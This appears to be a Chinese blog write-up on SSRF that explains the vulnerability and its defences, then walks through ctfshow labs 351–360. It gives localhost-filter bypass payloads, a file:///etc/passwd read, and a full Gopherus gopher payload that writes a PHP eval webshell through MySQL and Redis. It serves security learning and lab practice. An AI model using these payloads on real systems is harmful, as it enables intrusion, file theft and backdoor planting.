当前位置: 首页 > news >正文

SSRF服务端请求伪造

SSRF服务端请求伪造

SSRF漏洞原理

​ SSRF(Server-Side Request Forgery:服务器端请求伪造)

  • 一种由攻击者构造形成由服务端发起请求的一个安全漏洞;
  • 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
  • SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
黑盒探针
业务功能点
  • 1.社交分享功能:获取超链接的标题等内容进行显示
  • 2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  • 3.在线翻译:给网址翻译对应网页的内容
  • 4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  • 5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  • 6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  • 7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  • 8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
  • 9.邮件系统:比如接收邮件服务器地址
  • 10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  • 11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
URL关键参数
  • share
  • wap
  • url
  • link
  • src
  • source
  • target
  • u
  • display
  • sourceURl
  • imageURL
  • domain
白盒分析

(文件读取,加载,数据操作类的函数)

SSRF伪协议利用
http://  Web常见访问,如http://127.0.0.1
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
SSRF漏洞防御
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
案例

正常加载图片是数据格式

在这里插入图片描述

读取本地1001端口,成功访问搭建的zblog

http://127.0.0.1:1001

在这里插入图片描述

ctfshow-351

在这里插入图片描述

使用hackbar,post请求http协议

url=http://127.0.0.1/flag.php

在这里插入图片描述

ctfshow-352

必须为http或https但是过滤localhost和127.0.0

在这里插入图片描述

URL编码绕过

直接用hackbar自带的编码

url=http://%31%32%37%2e%30%2e%30%2e%31/flag.php

在这里插入图片描述

进制绕过

可以看到127进行16进制转换后为7f,在16进制前加上0x使电脑识别为16进制,ping 0x7f.0.0.1 计算机可识别为127.0.0.1

在这里插入图片描述

url=http://0x7f.0.0.1/flag.php

在这里插入图片描述

八进制前面加上0,使电脑识别为八进制

url=http://0177.0.0.1/flag.php

在这里插入图片描述

ip地址转换

在这里插入图片描述

十进制整数
url=http://2130706433/flag.php

在这里插入图片描述

十六进制整数
url=http://0x7F000001/flag.php

在这里插入图片描述

还有一种特殊的省略模式127.0.0.1写成127.1用CIDR绕过localhosturl=http://127.127.127.127/flag.php还有很多方式url=http://0/flag.phpurl=http://0.0.0.0/flag.php
ctfshow-353

像352关进制绕过

url=http://0x7F000001/flag.php

在这里插入图片描述

ctfshow-354

过滤localhost,0,1等

在这里插入图片描述

绑定域名

将127.0.0.1解析到域名绕过

sudo.cc

sudo.cc解析为127.0.0.1

url=http://sudo.cc/flag.php

在这里插入图片描述

ctfshow-355

限制域名长度

在这里插入图片描述

0=127.0.0.1
url=http://0/flag.php

在这里插入图片描述

ctfshow-356

限制长度

在这里插入图片描述

0=127.0.0.1
url=http://0/flag.php

在这里插入图片描述

ctfshow-357

过滤解析后的ip等

在这里插入图片描述

重定向解析绕过
<?php
header("Location:http://127.0.0.1/flag.php"); 
ubuntu临时开启php服务器
apt install php
php -S 0.0.0.0:5566
killall php

在这里插入图片描述

url=http://x.x.x.x:5566/http/poc.php

在这里插入图片描述

ctfshow-358

url需要以http://ctf开头,以show结尾,才能触发file_get_contents()

在这里插入图片描述

http基本身份认证方式绕过@

此处ctf.将作为账号登录127.0.0.1,并且向flag.php传一个show参数来绕过

url=http://ctf.@127.0.0.1/flag.php#show

在这里插入图片描述

ctfshow-359

提示打无密码的mysql

在这里插入图片描述

在这里插入图片描述

抓包找到跨站注入点,因为要攻击mysql,需要用到gopher协议

在这里插入图片描述

gopher协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload
由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候

工具:Gopherus

选择mysql,执行sql语句,写入一个后门语句到网站默认目录/var/www/html/

python2 gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: select "<?php eval($_POST["pass"]);?>" into outfile "/var/www/html/pass.php"

在这里插入图片描述

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%70%61%73%73%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%70%61%73%73%2e%70%68%70%22%01%00%00%00%01

使用burp将url编码一下,因为浏览器会进行url解码一次。

在这里插入图片描述

访问生成的pass.php,查看根目录下的flag

在这里插入图片描述

ctfshow-360

redis数据库未授权

在这里插入图片描述

使用gopherus生成

python2 gopherus.py --exploit redis
What do you want?? (ReverseShell/PHPShell): phpshell
Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[pass]);?>

在这里插入图片描述

直接利用生成的payload请求

在这里插入图片描述

使用哥斯拉连接生成的shell.php

在这里插入图片描述

相关文章:

  • STM32三种调试工具CMSIS-DAP、J-Link和ST-Link
  • Renesas MCU使用定时器之实现1ms定时中断
  • redis大key优化
  • csdn上传源码资源卖钱能买房买车吗?每天最高收入200-500?
  • Docker 可用镜像源
  • Qt 技术博客:深入理解 Qt 中的 delete 和 deleteLater 与信号槽机制
  • docker内apt-get update Waiting for headers 0%
  • 音视频的Buffer处理
  • Parallelize your massive SHAP computations with MLlib and PySpark
  • NTFS和exFAT哪个性能好 U盘格式化NTFS好还是exFAT好 mac不能读取移动硬盘怎么解决
  • 深信服科技:2023网络安全深度洞察及2024年趋势研判报告
  • [实践篇]13.29 再来聊下Pass Through设备透传
  • sixLabors.ImageSharp图片截取
  • 中介子方程二十九
  • win10远程桌面连接端口,远Win10远程桌面连接端口修改及无法连接解决方案
  • Effective Java 笔记(一)
  • Laravel Telescope:优雅的应用调试工具
  • TiDB 源码阅读系列文章(十)Chunk 和执行框架简介
  • vue脚手架vue-cli
  • vue学习系列(二)vue-cli
  • 从零搭建Koa2 Server
  • 从零到一:用Phaser.js写意地开发小游戏(Chapter 3 - 加载游戏资源)
  • 浅析微信支付:申请退款、退款回调接口、查询退款
  • 强力优化Rancher k8s中国区的使用体验
  • 设计模式(12)迭代器模式(讲解+应用)
  • 探索 JS 中的模块化
  • 微信支付JSAPI,实测!终极方案
  • 学习笔记DL002:AI、机器学习、表示学习、深度学习,第一次大衰退
  • 智能合约开发环境搭建及Hello World合约
  • linux 淘宝开源监控工具tsar
  • ​Distil-Whisper:比Whisper快6倍,体积小50%的语音识别模型
  • ​香农与信息论三大定律
  • (03)光刻——半导体电路的绘制
  • (33)STM32——485实验笔记
  • (react踩过的坑)antd 如何同时获取一个select 的value和 label值
  • (二)WCF的Binding模型
  • (三十)Flask之wtforms库【剖析源码上篇】
  • (十)DDRC架构组成、效率Efficiency及功能实现
  • (转)VC++中ondraw在什么时候调用的
  • .NET Core MongoDB数据仓储和工作单元模式封装
  • .Net6使用WebSocket与前端进行通信
  • .NET编程C#线程之旅:十种开启线程的方式以及各自使用场景和优缺点
  • @synthesize和@dynamic分别有什么作用?
  • []串口通信 零星笔记
  • [20171101]rman to destination.txt
  • [AutoSAR系列] 1.3 AutoSar 架构
  • [BUAA软工]第一次博客作业---阅读《构建之法》
  • [C#]OpenCvSharp使用帧差法或者三帧差法检测移动物体
  • [C#基础知识]专题十三:全面解析对象集合初始化器、匿名类型和隐式类型
  • [C/C++]数据结构 深入挖掘环形链表问题
  • [C]整形提升(转载)
  • [C++]——带你学习类和对象
  • [C++]指针与结构体
  • [idea]关于idea开发乱码的配置
  • [leetcode] Multiply Strings